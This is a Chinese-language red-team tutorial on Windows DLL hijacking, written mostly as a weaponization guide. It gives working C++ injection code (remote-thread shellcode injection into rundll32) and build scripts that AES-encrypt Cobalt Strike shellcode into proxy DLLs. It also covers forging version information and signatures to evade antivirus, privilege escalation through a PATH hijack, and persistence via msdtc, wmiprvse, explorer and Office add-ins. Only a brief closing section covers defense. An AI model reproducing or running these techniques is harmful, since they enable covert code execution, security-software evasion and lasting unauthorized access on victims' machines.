0x01 简介
DLL劫持是一种诱使正常的应用程序加载任意DLL的技术,通过这种技术,DLL将会被加载到目标程序内存中,以目标程序身份进行代码执行、权限维持和权限提升。
0x02 什么是 DLL
在进行DLL劫持之前,先熟悉一下什么是DLL。在WIndows中DLL(Dynamic link library,动态链接库)是一个共享的库,其中包含可同时由多个程序使用的代码和数据,对常用函数和功能进行封装,这些DLL可实现不同的功能,每个DLL的功能实现可通过导出函数来提供调用接口。在Windows的不同系统目录中存在大量的DLL文件,应用程序在实现时相应的功能时会调用这些DLL程序。
DLL 入口函数
dllmain
是DLL的入口函数,当进程或线程加载DLL或分离DLL时,将调用入口点函数传入对应事件通知,示例:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdio.h>
BOOL APIENTRY DllMain( HMODULE hModule, // DLL模块的句柄
DWORD ul_reason_for_call, // 调用函数的原因
LPVOID lpReserved // 保留参数
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: // 进程加载DLL触发( LoadLibraryA)
{ printf("DLL_PROCESS_ATTACH!\n");
WinExec("cmd.exe", 0); break; }
case DLL_THREAD_ATTACH: // 进程创建新线程加载触发(CreateThread)
{ break; }
case DLL_THREAD_DETACH: // 线程正常退出(CreateThread-Return)
{ break; }
case DLL_PROCESS_DETACH: // 进程卸载DLL(函数:FreeLibrary、FreeLibraryAndExitThread)
{ break; }
}
return TRUE;
}
DLL 导出函数
编写DLL时通过__declspec(dllexport)
关键字声明要导出的函数:
extern "C" __declspec(dllexport) void StartW(HWND hwnd,HINSTANCE hinst){
///
}
这样编写的DLL生成后可以通过dumpbin /EXPORTS xxx.dll
查看导出函数表:
在VS中选择可“具有导出项的(DLL)动态链接库”项目编写DLL:
这种项目生成DLL的导出函数是通过LIBDLL_API
定义的,如LibDLL.h
中导出的fnLibDLL
函数:LibDLL.cpp
中编写导出函数的功能:
项目编译后的DLL文件导出函数是被修饰过的:
0x03 加载 DLL 的方法
在应用程序中可以通过加载时动态链接或运行时动态链接两种方法调用DLL中的导出函数。加载时动态链接使用#include <xxx.h>
导入头文件和#pragma comment(lib, "xxx.lib")
导入链接库文件,程序会使用链接器放置在文件中的信息来查找进程使用的 DLL 的名称,然后搜索 DLL进行调用,这种方式是使用lib静态库文件进行链接,所以也被称为静态链接。运行时动态链接是在程序需要的时候使用LoadLibrary
、LoadLibraryEx
、GetProcAddress
等API函数组合获取到DLL导出函数的地址来调用,所以也称为动态链接。
加载时动态链接
在上文中编写了一个具有导出函数的DLL文件,这里使用静态链接的方式调用DLL函数,LibDLL.h
、LibDLL.lib
都是在DLL项目生成或者定义的:
#include <iostream>
#include "..\\LibDLL\\LibDLL.h"
#pragma comment(lib, "..\\LibDLL\\Release\\LibDLL.lib")
int main()
{
fnLibDLL();
}
编写的EXE程序运行后成功调用了DLL中的fnLibDLL
函数:
如果在DLL中没有fnLibDLL
函数,静态链接的DllMain函数不会执行并且会抛出异常:
运行时动态链接
通过LoadLibrary
获取DLL句柄, GetProcAddress
从返回的句柄中获取函数的地址(注意这里的函数名用的是被修饰过的?fnLibDLL@@YAHXZ
):
#include <iostream>
#include <windows.h>
#include <libloaderapi.h>
int main()
{
int(__stdcall * CMD)();
HMODULE DLL = LoadLibrary(L"LibDLL.dll");
(FARPROC&)CMD = GetProcAddress(DLL, "?fnLibDLL@@YAHXZ");
CMD();
}
加载有DllMain
的DLL时,LoadLibrary
后就进入DllMain
函数了(与静态链接不同,即使调用的函数不存在也会执行DllMain):
0x04 DLL 搜索顺序
在程序通过上述两种方式加载DLL时,都会进行DLL的搜索。会加载搜索过程中找到的第一个名称正确的DLL。系统搜索DLL之前,它会检查以下内容,如果已经存在了就不会搜索DLL:
- 如果内存中已经加载了具有相同模块名称的 DLL。
- KnownDLLs注册表项(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs)。
上面都没有找到DLL的情况下,如果启用了SafeDllSearchMode
, 就按照如下搜索顺序搜索:
- 应用程序加载目录(安装目录);
- 系统目录(C:\Windows\System32,使用 GetSystemDirectory 函数获取);
- 16 位系统目录(C:\Windows\System);
- Windows 目录(C:\Windows,使用 GetWindowsDirectory函数获取);
- 当前目录;
- PATH 环境变量中列出的目录。
如果 SafeDllSearchMode
已禁用,则搜索顺序如下:
- 应用程序加载目录(安装目录);
- 当前目录;
- 系统目录(C:\Windows\System32,使用 GetSystemDirectory 函数获取);
- 16 位系统目录(C:\Windows\System);
- Windows 目录(C:\Windows,使用 GetWindowsDirectory函数获取);
- PATH 环境变量中列出的目录。
0x05 发现 DLL 劫持
从上述中可以看到,DLL加载时会按照顺序进行搜索,如果一个DLL位于C:\Windows\System32
的系统目录且不在KnownDLLs
注册表项中,程序使用LoadLibrary直接加载DLL名称时就会先搜索系统目录之前的应用程序加载目录或当前目录,通过在系统目录之前的位置放置同名DLL就可能导致DLL搜索顺序劫持。一些程序在启动或执行某些功能时会 借助下列工具可快速发现程序在加载DLL时的问题。
Process Monitor
微软官方提供了一个系统工具套件,其中包含一个进程监控工具 Procmon.exe
,可以使用该工具来寻找可能发生DLL劫持的程序,微软文档介绍的使用进程监视器检查应用程序中的 DLL 加载操作如下:
1.启动进程监视器。
2.在进程监视器中,包括以下筛选器:
Operation is CreateFile
Operation is Load Image
Path contains .cpl
Path contains .dll
Path contains .drv
Path contains .exe
Path contains .ocx
Path contains .scr
Path contains .sys
3.排除以下筛选器:
Process Name is procmon.exe
Process Name is Procmon64.exe
Process Name is System
Operation begins with IRP_MJ_
Operation begins with FASTIO_
Result is SUCCESS
Path ends with pagefile.sys
4.尝试在程序安装目录启动程序;尝试将程序复制到其他目录启动程序;尝试启动程序支持解析的扩展文件(如启动.docx)。
5.检查进程监视器输出中的可疑路径,如调用当前目录加载 DLL。 这种调用表示应用程序中可能存在漏洞。
在进程监视器中输出了进程加载的行为,后续可针对这些程序进行DLL劫持测试:
通过该工具验证DLL搜索顺序。某程序使用 LoadLibrary(L"qax.dll");
后的搜索顺序如下:
ImpulsiveDLLHijack
ImpulsiveDLLHijack 通过解析ProcMon 监控数据,得到进程加载DLL的信息,将测试DLL添加或替换到程序目录下,然后反复启动程序加载测试DLL。程序的源码中包含了已编译的程序,可以直接使用(建议虚拟机中):
执行命令来测试劫持 ImpulsiveDLLHijack.exe -path "D:\Program Files (x86)\Notepad++\notepad++.exe"
,执行完成后会显示结果和写入日志:
这些劫持成功的可以用Calc DLL POC
文件夹下弹出计算器的DLL验证:
程序显示劫持成功的DLL都是可以直接进入DllMain函数,如uxtheme.dll
甚至可以用beacon.dll
不做任何处理进行替换。其他的DLL可能需要进行导出函数的代理转发或线程迁移才能正常运行,否则会抛出一些异常信息,这部分实现会在后文继续涉及。
其他方式
在程序的安装目录中存在许多的DLL,程序在触发某些操作时会进行加载,如果不借助工具怎么快速发现程序加载DLL的行为进行利用呢?一种是将可执行文件复制到其他目录,然后执行文件,利用异常来发现程序的加载行为:
这个程序在启动时会加载QQMusicCommon.dll
,就可以针对该DLL进行劫持。另一种操作比较暴力,运行程序后尝试删除程序目录下文件,加载中的DLL因为句柄占用无法删除:
之后就可以针对这些DLL进行劫持测试了。
0x06 DLL 劫持的方法
关于DLL劫持根据不同的方法可以进行细分,成功与否取决于应用程序如何配置以加载其所需的 DLL(这部分细分来写的原因在于DLL劫持的不同场景需要的条件不尽相同,包括到文件夹的权限、DLL代码编写、利用场景的限制、程序能否正常运行等)。从更深层的利用角度来说可能一些劫持方法如下:
DLL 替换
如果应用程序在加载DLL时没有检查DLL的合法性,可以将程序要加载的DLL替换成恶意 DLL ,然后通过DLL代理将程序的函数调用转发到原始DLL,从而确保程序所有功能保持不变。通过Process Monitor
监控Navicat加载了freeimage.dll,该DLL位于Navicat安装目录,对这个DLL进行替换测试:
可使用DLLHijacker 脚本来对DLL函数进行转发生成VS项目(这个脚本用于测试会很方便,修改源码后直接编译就可以了):
python3 DLLHijacker.py "D:\Program Files\PremiumSoft\Navicat Premium 15\freeimage.dll"
要转发到的真实DLL:
注入calc的shellcode到新进程rundll32.exe:
启动后加载DLL触发calc执行:
DLL 搜索顺序劫持
在程序加载DLL的实际搜索位置之前放置DLL劫持搜索顺序,这些搜索位置还可以使用 在程序中使用AddDllDirectory
或 SetDllDirectory
添加。根据 DLL 搜索顺序中可以植入恶意 DLL 的位置,漏洞大致属于以下三类之一(对 DLL 植入漏洞进行分类):
- 应用程序目录(App Dir) DLL 劫持。
- 当前工作目录 (CWD) DLL 劫持。
- PATH目录 DLL 劫持。
比较常见的是程序使用一些API函数时,造成的DLL搜索顺序劫持,如下使用version.dll
中的GetFileVersionInfoSizeA
函数:
程序使用静态链接和动态链接两种方式执行函数的源码为:
#include <iostream>
#include <windows.h>
#pragma comment( lib, "Version.lib" )
int Action()
{
Sleep(3000);printf("\n使用动态链接:\n");
DWORD(__stdcall * GetFileVersionInfoX)(
LPCSTR lptstrFilename,LPDWORD lpdwHandle);
DWORD dwHandle, sz;HMODULE DLL = LoadLibrary(L"version.dll");
if (DLL == NULL) {return 0;}
(FARPROC&)GetFileVersionInfoX = GetProcAddress(DLL, "GetFileVersionInfoSizeA");
sz = GetFileVersionInfoX("C:\\windows\\system32\\cmd.exe", &dwHandle);
printf("文件大小:%i", sz);
return 0;
}
int main()
{printf("使用静态链接:\n");DWORD dwHandle, sz = GetFileVersionInfoSizeA("C:\\windows\\system32\\cmd.exe", &dwHandle);
if (0 == sz){return 0;}printf("文件大小:%i", sz);Action();return 0;
}
注释LoadLibrary调用,程序在当前目录寻找version.dll
,最后在加载32系统目录version.dll
:
取消注释,将程序和带有函数转发的version.dll
(加载后会弹窗)放入同一文件夹:
这样就可以对很对程序进行类似的劫持了,可用于权限维持、代码执行、权限提升。大多数时候程序会将自己安装在C盘,C盘的应用程序目录(App Dir)一般有系统的ACL保护,但如果程序对文件夹的权限比较开放也会造成漏洞。还有种情况就是程序加载一些系统不存在或者位置不正确的DLL程序,系统按照搜索顺序搜索时就会当前工作目录 (CWD)和%PATH%
环境变量中寻找DLL进行加载。环境变量中的路径包含一些在C盘以外的类似Python、JAVA或其他安装程序的路径,这里的路径普通用户拥有写入权限,结合DLL劫持可以进行权限提升。这部分可以见后文的案例。
DLL重定向
更改DLL搜索的位置,可以通过修改或添加%PATH%
环境变量、修改清单文件.exe.manifest 文件或重定向文件夹.exe.local以包含恶意DLL。
开启DLL重定向需要创建一个新的注册表项(如果应用程序有清单文件,则忽略任何 .local
目录,命名规则为可执行文件名加上.local
):
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" /v DevOverrideEnable /t REG_DWORD /d 1 /f
0x07 DLL 劫持武器化利用
在DLL劫持过程中主要有两个步骤,一是编写执行功能的DLL,一是进行导出函数的代理。功能DLL一般用来进行shellcode注入,生成的DLL会很容易被安全软件标记为恶意,通过开源项目 Brownie对shellcode进行AES加密和资源封装,达到降低安全软件标记目的。对目标DLL进行导出函数转发时,使用开源项目Koppeling 自适应处理,不再需要手动编译。
项目配置
获取到Brownie源码后,项目结构如下:
在compile64.bat
中需要进行一定的修改来适配环境,编译64位的程序,将对应的程序和脚本都换成64位:
@ECHO OFF
:设置x64的编译环境
call "D:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build\vcvars64.bat"
:加密shellcode
python Python\\aes.py Bin\\payload_x64.bin Bin\\payload_x64_encrypted.bin
:编译资源文件
"D:\Windows Kits\10\bin\10.0.18362.0\x64\rc.exe" Src\\Resource.rc
:Microsoft 资源文件到 COFF 对象的转换
cvtres /MACHINE:x64 /OUT:Src\\Resource.o Src\\Resource.res
: /MT 多线程
cl.exe /nologo /MT /Od /GS- /DNDEBUG /W0 /Tp Src\\DllProxyTemplate.cpp /link Src\\Resource.o Kernel32.lib ucrt.lib libvcruntime.lib libcmt.lib libcpmt.lib /DLL /NODEFAULTLIB /ENTRY:DllMain /OUT:Bin\\brownie_x64.dll /MACHINE:x64 /RELEASE /MERGE:_RDATA=.text /EMITPOGOPHASEINFO
:清理文件
del *.obj
del Src\\Resource.o
del Src\\Resource.res
然后把Bin\payload_x64.bin
换成CobaltStrike的x64的RAW类型shellcode,执行compile64.bat
编译。编译完成后使用bat脚本调用Netclone在brownie_x64.dll
中添加对C:\Windows\System32\dui70.dll
导出函数的代理(prepdll.bat dui70
)。最后复制输出文件到LicensingUI
文件夹下执行:
对于Koppeling
的Netclone
工具实现的原理和各种细节知识参考作者博客文章:自适应DLL劫持。项目源码中有Python
和.Net
两个版本,.Net
程序在Brownie
项目中编译为了Netclone.exe
,Python
脚本效果也是一样的:
NetClone.exe --target brownie_x64.dll --reference C:\windows\system32\version.dll -o version.dll
python3 PyClone.py brownie_x64.dll C:\windows\system32\dbghelp.dll -o dbghelp.dll
在Netclone
中针对带有符号修饰的DLL也进行了测试(DLLHijacker脚本处理时生成的项目会有语法错误),也是可以正常处理的:
项目优化
优化有两个方面,一个是快速自动编译和生成,一个是代码性能和处理的一些优化。在编译过程中项目有只有对64位DLL的编译脚本,可以编写32位的:
@ECHO OFF
:设置x86的编译环境
@call "D:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build\vcvars32.bat"
:加密shellcode
python Python\\aes.py Bin\\payload_x86.bin Bin\\list.png Passw0rd!
:编译资源文件
"D:\Windows Kits\10\bin\10.0.18362.0\x86\rc.exe" Src\\Resource.rc
:Microsoft 资源文件到 COFF 对象的转换
cvtres /MACHINE:x86 /OUT:Src\\Resource.o Src\\Resource.res
: /MT 多线程,
cl.exe /nologo /MT /Od /GS- /DNDEBUG /W0 /Tp Src\\DllProxyTemplate.cpp /link Src\\Resource.o Kernel32.lib ucrt.lib libvcruntime.lib libcmt.lib libcpmt.lib /DLL /NODEFAULTLIB /ENTRY:DllMain /OUT:Bin\\brownie_x86.dll /MACHINE:x86 /RELEASE /MERGE:_RDATA=.text /EMITPOGOPHASEINFO
:清理文件
del *.obj
del Src\\Resource.o
del Src\\Resource.res
这时候需要在Resource.rc
文件中将打包的资源文件名统一:
要让DLL程序看起来是正常的DLL,继续添加版本等信息。这里在资源文件中补充版本信息时出现”未能完成操作,拒绝访问”,将资源文件涉及到的编辑窗口都关闭即可:
使用ResourceHacker工具获取到目标DLL版本信息后,在载荷DLL的资源信息中添加:
完成后在DLL看到具有了相同的版本信息:
还可以通过sigthief.py
伪造签名:
在代码上的优化,主要是设置互斥锁防止DLL被加载后反复触发shellcode注入,DllMain代码如下:
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
HANDLE threadHandle;
DWORD dwThread;
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
{ // Init Code here
HANDLE Mutexlock = CreateMutex(NULL, FALSE, "helloword!");// 创建互斥量
if (GetLastError() == ERROR_ALREADY_EXISTS)
{CloseHandle(Mutexlock );Mutexlock = NULL;
}else{threadHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)go, hinstDLL, 0, NULL);CloseHandle(threadHandle);}break;}
case DLL_THREAD_ATTACH:
// Thread-specific init code here
break;
case DLL_THREAD_DETACH:
// Thread-specific cleanup code here
break;
case DLL_PROCESS_DETACH:
// Cleanup code here
break;
}
// The return value is used for successful DLL_PROCESS_ATTACH
return TRUE;
}
对比两次DLL劫持后beacon返回情况,没有互斥锁时:
添加互斥锁后,再怎么操作都只返回首次beacon:
目标程序要求
在寻找和利用DLL劫持漏洞时,为了高效稳定、防御规避等需求,可以参考下列建议:
- 主程序带有合法数字签名
- 程序启动后不退出、不报错
- 程序可以后台运行
- 被劫持的DLL不是系统级的
- 被劫持的DLL程序体积不能过大
- 触发漏洞后无感知,不影响正常使用
- 尽量使用进程迁移,否则beacon退出后程序可能也退出。
0x08 案例与分析
一般的,劫持资源类DLL(Satellite DLL)和文件替换来达到攻击效果的不会被接收,更多详情参考腾讯SRC:DLL劫持漏洞解析 ,在漏洞挖掘时主要还是关注搜索顺序劫持,特别是权限提升的情况,基本上挖掘到知名产品的DLL劫持后可以进行权限提升就可以申请CVE了。
DLL劫持到权限提升
可以看到有一些DLL劫持导致权限提升的CVE,如CVE‑2020‑5980是NVIDIA Windows GPU驱动程序在C盘的文件夹权限设置错误,导致普通用户可以写入DLL进行劫持后获得权限提升,这是一个文件夹ACL设置错误的情况。在微星(MSI)Dragon_Center(龙中心)程序2.0.116.0版本中存在一个环境变量DLL劫持的提权漏洞,其服务Mystic_Light_Service
子进程LEDKeeper2.exe
会搜索mscorjit.dll
进行加载,但是在其其安装目录下并没有该文件,并且系统目录中也不存在该文件(是.Net的链接库文件,在C:\Windows\Microsoft.NET\Framework\
和C:\Windows\WinSxS\
下存在),就造成了在 %PATH%环境变量(如常见的Python、JAVA等一些安装在非C盘的环境变量路径)中进行搜索,可以如下配置Procmon:
Result contains NOT FOUND
User contains SYSTEM
Path ends with .dll
编写DLL启动SYSTEM权限的CMD(通过Session0穿透的方式)和写入文件:
测试时将一个C盘以外的可控路径加入到了环境变量中(这里将E:\加入了环境变量):
根据宿主程序位数,在PATH目录中放入x86的DLL文件:
触发方式可以是管理员用户重启服务和普通用户注销后进行登录触发LEDKeeper2.exe
执行。如下管理员用户重启服务,成功进行了权限提升:
普通用户也可以完成权限提升:
当前目录劫持
当前工作目录 (CWD) DLL 劫持,也被称为相对路径 DLL 劫持。这种利用方式在各种攻击事件中屡见不鲜,主要手法是文件关联程序DLL劫持和“白+黑”利用。
文件关联程序DLL劫持
文件关联就是将一种类型的文件与一个可以打开它的程序建立起一种依存关系。一个文件可以与多个应用程序发生关联。可以利用文件的“打开方式”进行关联选择。- 文件关联 - 百度百科
利用这种文件关联,DLL劫持攻击就可能发生在双击打开图片文件时,在Windows10之前的系统照片查看器中就存在该问题,当照片查看器被设置为默认的图片程序时,双击打开图片时会进行搜索DLL以期望加载lmagingEngine.dll
:
查看命令行参数估计是在PhotoViewer.dll
中的导出函数ImageView_Fullscreen
中没有指定加载目录,触发了DLL搜索:
其期望加载的DLL文件 lmagingEngine.dll
在C:\Program Files<(x86)>\Windows Photo Viewer
中,触发DLL搜索后会搜索到当前目录,结果就导致了CWD劫持:
白加黑利用
这种利用方式一般是将带有合法签名的应用程序(可以重命名)和恶意 DLL 一起复制到同一文件夹中,执行应用程序后在当前目录加载恶意DLL。就其使用方式而言,它与DLL代理执行有相似之处,但是这种情况利用稍微复杂一些,有可能没有合适的DLL进行函数的代理转发,需要对应用程序流程进行分析以保证执行后程序看起来像是正常的。这种利用方式一般会被称为白+黑利用,或者“自带 LOLbin”(LOLBIN指一类默认在系统上或者由信誉良好的软件提供,更多内容详见:lolbas)。以WINWORD.EXE + WWLIB.DLL
白加黑为例,WINWORD.EXE
是合法的签名文件,WWLIB.DLL
是恶意DLL:
在实验过程中发现,如果只在DllMain中使用WinExec执行命令是可以成功的,但是在DllMain中想要通过创建远程线程来注入Cobat Strike的shellcode却无法上线:
这可能是因为WINWORD.EXE
代码层面的原因,主进程执行完成就直接退出了,没有线程创建函数的生存时间。以下是通过两个程序加载DLL验证执行情况,其中CmdUseDLL1.exe
主程序代码如下:
#include <windows.h>
int main()
{
HMODULE DLL = LoadLibrary(L"DllMain.dll");
return 0;
}
CmdUseDLL2.exe
代码如下,与CmdUseDLL1相比主函数中进行了Sleep:
#include <windows.h>
int main()
{
HMODULE DLL = LoadLibrary(L"DllMain.dll");
Sleep(1024);
return 0;
}
DllMain.dll
核心代码如下,加载后创建线程执行Inject_RemoteThread
:
BOOL Inject_RemoteThread()
{
printf("Inject_RemoteThread!\n");
WinExec("cmd.exe", 0);
}
//in DllMain:
case DLL_PROCESS_ATTACH: // 进程加载DLL触发( LoadLibraryA)
{
HANDLE threadHandle;
threadHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Inject_RemoteThread, hModule, 0, NULL);
CloseHandle(threadHandle);
break;
}
通过一个gif来观察过程:
可以看到没有延时的CmdUseDLL1程序直接就退出了,程序没有等待线程函数执行,所以要使得DllMain可以创建线程执行就需要主程序有一定的延时时间。如果说为了让CmdUseDLL1中的线程执行,通过WaitForSingleObject
来等待也是不行的,这就涉及到了加载器锁机制(为了让线程等待执行,在DllMain中等待线程,会导致死锁),更多内容查看文档 动态链接库最佳实践。 再回到WINWORD.EXE
无法成功进行shellcode注入问题,使用IDA分析主函数流程:
主函数调用完DLL导出函数就直接退出了,后续功能都交给DLL执行了。所以要成功让WINWORD.EXE
完成预定行为可以直接在DllMain中进行远程线程注入或者DLL中导出函数FMain中进行远程线程注入,以下关键代码是直接在主线程中进行远程注入:
...
BOOL Inject_RemoteThread(LPSTR payload, SIZE_T payloadLen)
{
STARTUPINFO si;PROCESS_INFORMATION pi;LPVOID lpMalwareBaseAddr;LPVOID lpnewVictimBaseAddr;HANDLE hThread; // DWORD dwExitCode;
BOOL bRet = FALSE;
lpMalwareBaseAddr = payload;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (CreateProcess("C:\\windows\\system32\\rundll32.exe", NULL, NULL, NULL,FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == 0)
{ return bRet; }
lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess, NULL, payloadLen + 1, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if (lpnewVictimBaseAddr == NULL)
{ return bRet; }
WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,(LPVOID)lpMalwareBaseAddr, payloadLen + 1, NULL);
hThread = CreateRemoteThread(pi.hProcess, 0, 0,(LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);
return bRet;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
Inject_RemoteThread(payload,payloadLen);
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
在FMain中进行远程注入:
extern "C" __declspec(dllexport) int FMain(int a, int b, int c, int d);
extern "C" __declspec(dllexport) void wdCommandDispatch();
extern "C" __declspec(dllexport) void wdGetApplicationObject();
int FMain(int a, int b, int c, int d) {
Inject_RemoteThread(payload,payloadLen);
return 1;
}
void wdCommandDispatch() {
return ;
}
void wdGetApplicationObject() {
return ;
}
最终的实现是在主流程中执行想要的操作而不使用线程,执行完成将流程返回即可:
更多的LOLBIN类的系统程序,在 hijacking-dlls-in-windows-lists 文章中针对这些程序进行了大量的DLL劫持测试,可以合理利用文章提供的受DLL劫持影响的程序列表。
而这些程序大部分不具有持续运行的属性,所以劫持后需要在DLL的主线程中进行操作。持续运行属性就是指程序运行后可以在后台运行或持续一定时间,上文的 LicensingUI.exe 就属于持续运行程序,在hijacking-dlls-in-windows-lists表中的computerdefaults.exe就不属于,它执行后会创建线程启动设置,然后退出自身:
对于这样的程序最好的利用方法就是创建子进程进行注入:
子进程也可以选择一些带有数字签名的程序,这在后续执行的防御规避方面有一定效果:
权限维持
使用DLL劫持漏洞在进行权限维持时比较便捷和稳定,而且大部分被利用的主程序都带有数字签名或者是Windows系统文件,所以在防御规避上也有优秀表现。在上文也对一些程序进行了DLL劫持测试,也对被劫持程序有一定要求,才能做到比较好的权限维持效果。接下来对不同的程序和情况,通过实例进行讲解。
系统程序DLL劫持
利用一些会随着系统启动或用户登录后启动的程序进行权限维持。对于C盘系统目录下的操作,都需要管理员甚至更高权限。对于随用户启动的程序,返回的都是用户权限,对于权限维持来说,已经是够用了。
msdtc.exe
msdtc.exe是微软分布式传输协调程序,在域内主机上一般是作为服务自启动的,需要管理员权限操作:
msdtc会加载注册表位置DLL文件:
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI
这里的oci.dll在系统目录下并不存在,所以可以在msdtc.exe的相对目录中写入oci.dll,利用msdtc.exe加载。利用方式也非常简单,可以直接将beacon.dll改名为oci.dll放入C:\windows\system32\目录下直接加载即可(dll要与msdtc.exe相同位数):
返回的msdtc进程返回权限是nt authority\network service
,通过sc config msdtc start= auto obj= LocalSystem
命令可修改服务启动的权限。这个程序的CobaltStrike利用插件已经开发完成,详见:https://github.com/yanghaoi/CobaltStrike_CNA
wmiprvse.exe
wmiprvse.exe是一个进行WMI的事件监控程序,会在系统启动后执行一段时间,程序会加载 C:\windows\system32\wbem\WMICLNT.dll
动态链接库。但是该dll文件实际并不存在,所以也可以进行利用(通过Process Monitor发现):
这个程序返回权限为SYSTEM,但是持续一段时间(大概两三分钟)后会退出:
explorer.exe
explorer.exe是Windows程序管理器或者文件资源管理器,用户登录系统后自动执行,用于显示桌面等GUI功能。explorer同样会搜索加载一些不存在的DLL,如 C:\Windows\linkinfo.dll
、C:\windows\netutils.dll
等,返回的是用户权限,dll写入后需要重启或注销后用户登录才生效。
常用软件DLL劫持
常见软件的DLL劫持在上文对挖掘方法和一些案例也进行了介绍,如navicat、QQLive等程序。一般的利用尽量在获取目标系统安装软件版本后,本地测试好再去实际操作。获取系统安装的程序可以使用wmic product get name,version
命令:
注册表查询REG QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths"
等方式:
Office-加载项
这一项只是利用office的自动加载项进行权限维持,不算是DLL劫持的范畴。将编写好的dll文件扩展名该为.dll放置到C:\Users\<用户名>\AppData\Roaming\Microsoft\Word\STARTUP
的加载项中,编写代码为:
#include "stdafx.h"
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
{
WinExec("CMD /K calc",SW_SHOWNORMAL);
}
return TRUE;
}
打开word后程序执行:
在office软件的加载中心可以看到加载的扩展:
也会发现有其他类型的加载项,比如百度云的COM加载项,如果有机会的话也可以尝试实现这一类型。
0x09 DLL 劫持防御
开发过程中防御DLL劫持可以在DLL加载前进行下列一些处理:
- 检查DLL文件签名
- 程序中校验DLL哈希
- 加载DLL时指定完整的路径
- 从搜索路径中删除安装目录、当前目录和PATH目录
更多的资料还可以参考微软官方文档:动态链接库安全 以及 TSRC博文。
0x10 参考链接
https://trustfoundry.net/what-is-dll-hijacking/
https://payloads.online/archivers/2019-10-02/1/
https://www.mandiant.com/resources/abusing-dll-misconfigurations
https://resources.infosecinstitute.com/topic/dll-hijacking-attacks-revisited/
https://posts.specterops.io/automating-dll-hijack-discovery-81c4295904b0
https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/dll-hijacking
hijacking-dlls-in-windows-lists
自适应DLL劫持
DllMain中死锁问题分析
动态链接库搜索顺序
什么是 DLL
动态链接库
声明导出函数的方式
使用.local重定向DLL 加载路径
对 DLL 植入漏洞进行分类
DllMain死锁分析
使用 PowerShell 和 Sysmon 寻找 DLL 侧加载的证据
red-team-notes-2-0
Kaseya MSP 供应链攻击分析
自动发现 DLL 劫持
Sysmon-SideLoadHunter
DLL 搜索顺序劫持
DLL 侧加载